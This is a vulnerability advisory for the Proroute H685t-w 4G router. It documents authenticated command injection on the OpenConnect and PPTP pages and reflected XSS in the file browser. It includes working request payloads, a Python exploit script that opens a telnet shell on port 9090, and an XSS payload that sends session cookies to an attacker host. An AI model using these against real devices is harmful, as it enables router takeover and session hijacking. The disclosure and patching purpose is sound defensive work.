Blog: Vulnerability Advisory

Proroute H685 4G router vulnerabilities

Joe Lovett 19 Sep 2024

TL;DR

  • Two vulnerabilities on the Proroute H685t-w 4G Router
  • Authenticated command injection is possible through the admin interface
  • Reflected Cross Site-Scripting is possible through the admin interface
  • Patch any routers to revision 3.2.335 or higher

Vulnerability 1: Command Injection on Proroute H685t-w 4G Router

CVSS: 8.8 (High)

CVSS:3.1/ AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Product: H685t-w

Vulnerable Firmware Version: 3.2.334

Links:

Description

Two authenticated command injection vulnerabilities have been identified in the H685t-w-P2 Compact 4G router running firmware version 3.2.334. These vulnerabilities allow an attacker to execute arbitrary commands on the device’s operating system by injecting malicious input into a vulnerable parameter of the device’s web interface. Exploitation of this flaw can lead to unauthorised access, data manipulation or complete control of the affected device. This can be exploited from any account that can authenticate to the application.

Disclosure timeline

  • 2024-06-04 – Vulnerability identified
  • 2024-06-10 – Proroute advised through email ([email protected])

Detailed analysis

An authenticated command injection vulnerability is present within the openconnect client page, where shell commands can be injected by using the shell run local construct of $( ). The payload is executed when a save action is triggered on the page.

For example, the following malicious payload starts the telnet service listening on port 9090. All slash (/) characters need to be encoded due to how the shell parses this character.

Request:

GET /cgi-bin/luci/;stok=ab464963d5a55f939eeed238d7d747b1/admin/vpn/occ/client/occ1%3b$(`echo%20-e%20'\x74\x65\x6c\x6e\x65\x74\x64\x20\x2d\x6c\x20\x2f\x62\x69\x6e\x2f\x61\x73\x68\x20\x2d\x70\x20\x39\x30\x39\x30'`)?cbi.submit=1&cbi.apply=Save HTTP/1.1
Host: 192.168.8.1
Cookie: sysauth=6817a265292186d295bf5d1391855d78
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close

Response:

HTTP/1.1 200 OK
Connection: close
X-CBI-State: 1
Content-Type: text/html
Cache-Control: no-cache
Expires: 0
Content-Length: 12944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">

The payload used was:

%3b$(`echo%20-e%20'\x74\x65\x6c\x6e\x65\x74\x64\x20\x2d\x6c\x20\x2f\x62\x69\x6e\x2f\x61\x73\x68\x20\x2d\x70\x20\x39\x30\x39\x30'`)
  • %3b: This URL encoded value represents the semicolon (;) character, which is used to terminate the current command and begin a new one in a shell environment.
  • $(command): This syntax is used for command substitution in a Unix shell. It executes the command within the backticks and replaces the command substitution with the command’s output.
  • echo -e: The echo command with the -e option enables the interpretation of backslash escapes, which allows us to include special characters in the output.
    ‘\x74\x65\x6c\x6e\x65\x74\x64\x20\x2d\x6c\x20\x2f\x62\x69\x6e\x2f\x61\x73\x68\x20\x2d\x70\x20\x39\x30\x39\x30’: This is a hex-encoded string that represents the command telnetd -l /bin/ash -p 9090.

The command injection vulnerability is located on line 110 of /usr/lib/lua/luci/model/cbi/vpn/openconnect_client.lua, which can be seen below.  Illustrating how user input is improperly handled and executed without sufficient validation or sanitisation. This lack of input validation allows an attacker to inject arbitrary commands.

This code should be modified to properly validate and sanitise all user inputs before using them in system commands. Consider using safer alternatives to exec() and ensure that input data is treated as data rather than executable code.

Command Injection through PPTP page

An authenticated command injection vulnerability is present within the PPTP client page, where shell commands can be injected by using the shell run local construct of $( ). The payload is executed when a save action is triggered on the page.

For example, the following malicious payload starts the telnet service listening on port 9090. All slash (/) characters need to be encoded due to how the shell parses this character.

Request:

GET /cgi-bin/luci/;stok=ab464963d5a55f939eeed238d7d747b1/admin/vpn/pptp/cedit/asdasd%3b$(`echo%20-e%20'\x74\x65\x6c\x6e\x65\x74\x64\x20\x2d\x6c\x20\x2f\x62\x69\x6e\x2f\x61\x73\x68\x20\x2d\x70\x20\x39\x30\x39\x30'`)?cbi.submit=1&cbi.apply=Save HTTP/1.1
Host: 192.168.8.1
Cookie: sysauth=6817a265292186d295bf5d1391855d78
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close

Response:

HTTP/1.1 200 OK
Connection: close
X-CBI-State: 1
Content-Type: text/html
Cache-Control: no-cache
Expires: 0
Content-Length: 13066

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">

The payload used was:

%3b$(`echo%20-e%20'\x74\x65\x6c\x6e\x65\x74\x64\x20\x2d\x6c\x20\x2f\x62\x69\x6e\x2f\x61\x73\x68\x20\x2d\x70\x20\x39\x30\x39\x30'`)
  • %3b: This URL encoded value represents the semicolon (;) character, which is used to terminate the current command and begin a new one in a shell environment.
  • $(command): This syntax is used for command substitution in a Unix shell. It executes the command within the backticks and replaces the command substitution with the command’s output.
  • echo -e: The echo command with the -e option enables the interpretation of backslash escapes, which allows us to include special characters in the output.
    ‘\x74\x65\x6c\x6e\x65\x74\x64\x20\x2d\x6c\x20\x2f\x62\x69\x6e\x2f\x61\x73\x68\x20\x2d\x70\x20\x39\x30\x39\x30’: This is a hex-encoded string that represents the command telnetd -l /bin/ash -p 9090. Breaking it down

The command injection vulnerability is located in line 77 of /usr/lib/lua/luci/model/cbi/vpn/pptp_edit.lua, which can be seen below.  Illustrating how user input is improperly handled and executed without sufficient validation or sanitisation. This lack of input validation allows an attacker to inject arbitrary commands.

This code should be modified to properly validate and sanitise all user inputs before using them in system commands. Consider using safer alternatives to exec() and ensure that input data is treated as data rather than executable code.

The below python script can be used to exploit both command injection vulnerabilities. Change the username, password, and ip attribute within the main function to make the script functional.

import requests
import urllib3
import sys


urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning)


session = requests.session()


def login(username, password, ip):
 url = f"https://{ip}:443/cgi-bin/luci"
 headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "Origin": "https://192.168.8.1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://192.168.8.1/cgi-bin/luci", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Priority": "u=0, i", "Connection": "close"}
 data = {"luci_username": f"{username}", "luci_password": f"{password}"}
 resp = session.post(url, headers=headers, data=data, verify=False, allow_redirects=False)

 return resp.headers['Location']


def pptp_exploit(ip, location):

 url = f"https://{ip}:443{location}/admin/vpn/pptp/cedit/asdasd%3b$(`echo%20-e%20'\\x74\\x65\\x6c\\x6e\\x65\\x74\\x64\\x20\\x2d\\x6c\\x20\\x2f\\x62\\x69\\x6e\\x2f\\x61\\x73\\x68\\x20\\x2d\\x70\\x20\\x39\\x30\\x39\\x30'`)?cbi.submit=1&cbi.apply=Save"
 headers = {"Sec-Ch-Ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Priority": "u=0, i", "Connection": "close"}
 session.get(url, headers=headers)

def occ_exploit(ip, location):
 url = f"https://{ip}:443{location}/admin/vpn/occ/client/occ1%3b$(`echo%20-e%20'\\x74\\x65\\x6c\\x6e\\x65\\x74\\x64\\x20\\x2d\\x6c\\x20\\x2f\\x62\\x69\\x6e\\x2f\\x61\\x73\\x68\\x20\\x2d\\x70\\x20\\x39\\x30\\x39\\x30'`)?cbi.submit=1&cbi.apply=Save"
 headers = {"Sec-Ch-Ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Priority": "u=0, i", "Connection": "close"}
 session.get(url, headers=headers)


def main():

 #Connection info
 username = "admin"
 password = "admin"
 ip = "192.168.8.1"

 while True:
      try:
            print("Please select an option (1 or 2)")
            print("1. Exploit PPTP Page")
            print("2. Exploit OCC Page")
            selection = int(input())

            if selection == 1:
                  location = login(username, password, ip)
                  pptp_exploit(ip, location)
                  print("Payload executed, check port 9090 on the device")

                  sys.exit()

            elif selection == 2:
                  location = login(username, password, ip)
                  occ_exploit(ip, location)
                  print("Payload executed, check port 9090 on the device")

                  sys.exit()

            else:
                  print("\nInput needs to be (1 or 2)\n")

      except ValueError:
            print("Invalid input. Please enter a number (1 or 2).")


if __name__ == "__main__":
main()

Vulnerability 2: Reflected Cross-Site Scripting on Proroute H685t-w 4G Router

CVSS: 5.5 (Medium)

CVSS:3.1/ AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

Product: H685t-w

Vulnerable Firmware Version: 3.2.334

Links:

Description

A reflected Cross-Site Scripting (XSS) vulnerability has been identified in the H685t-W IoT router running firmware version 3.2.334. This vulnerability occurs when user-supplied input is improperly sanitised and then reflected back to the user’s browser, allowing an attacker to execute arbitrary JavaScript in the context of the victim’s browser session.

Disclosure timeline

  • 2024-06-04 – Vulnerability identified
  • 2024-06-10 – Proroute advised through email ([email protected])

Detailed analysis

A cross-site scripting vulnerability was identified in the field parameter of the file browser page of the device. This can be used to socially engineer a valid user to run malicious JavaScript which can allow compromise of the user’s account.

The below proof of concept payload can be used to confirm the vulnerability by sending the user’s authorisation cookie to an HTTPS server running on 192.168.8.101

https://192.168.8.1/cgi-bin/luci/;stok=d5f221166b19f23b075b6144dddf54db/admin/filebrowser?field=%22%3E%3C/a%3E%3Cimg%20src=%22x%22%20onerror=%22new%20Image().src=%27https://192.168.8.101:9090%3fa%3d%27%2bdocument.cookie%2b%27%26uri%3d%27%2bdocument.location.href%3b%22%3E%3Ca%20href=%22asd

Response:

The payload used was:

%22%3E%3C/a%3E%3Cimg%20src=%22x%22%20onerror=%22new%20Image().src=%27https://192.168.8.101:9090%3fa%3d%27%2bdocument.cookie%2b%27%26uri%3d%27%2bdocument.location.href%3b%22%3E%3Ca%20href=%22asd

Which will decode to:

  "></a><img src="x" onerror="new Image().src='https://192.168.8.101:9090?a='+document.cookie+'&uri='+document.location.href;><a href="asd
  • “>: This closes any existing HTML tag and allows for injecting new HTML content.
  • </a>: This is an attempt to close any open anchor tag (<a>) to ensure that the injected script runs in a clean context.
  • <img src=”x”: This part creates an image element with a source attribute set to an invalid value (x), which will trigger the onerror event.
  • onerror=”new Image().src=’https://192.168.8.101:9090?a=’+document.cookie+’&uri=’+document.location.href;>: This JavaScript code will be executed when the image fails to load:
    • new Image().src=’https://192.168.8.101:9090?a=’+document.cookie+’&uri=’+document.location.href;: This creates a new image element and sets its source (src) to a URL that includes the current document’s cookies and URL. This effectively sends the cookies and URL to the attacker’s server at https://192.168.8.101:9090.
  • <a href=”asd: To ensure the payload is closed properly without breaking the rest of the page layout.

Due to the lack of security attributes on the session cookie the severity of this vulnerability is increased. When a user accesses the vulnerable web application, an attacker can inject a malicious script that executes in the context of the victim’s browser session. This script can steal the session cookie, which is not protected by security attributes such as HttpOnly or Secure. As a result, the attacker can hijack the user’s session and gain unauthorised access to the application.

The XSS vulnerability is located on line 41 of /usr/lib/lua/luci/view/cbi/filebrowser.htm, which can be seen below. This illustrates how user input is improperly handled and executed without sufficient validation or sanitisation. This lack of input validation allows an attacker to inject arbitrary JavaScript.

Ensure all user inputs are sanitised and properly encoded before reflecting them back to the user’s browser. Use security libraries or frameworks with built-in XSS protections. Set the HttpOnly, Secure and SameSite attributes on cookies to prevent client-side access and ensure they are only sent over HTTPS connections. Regularly update and patch the application and conduct routine security assessments. Implement a Content Security Policy (CSP) to restrict the execution of unauthorised scripts.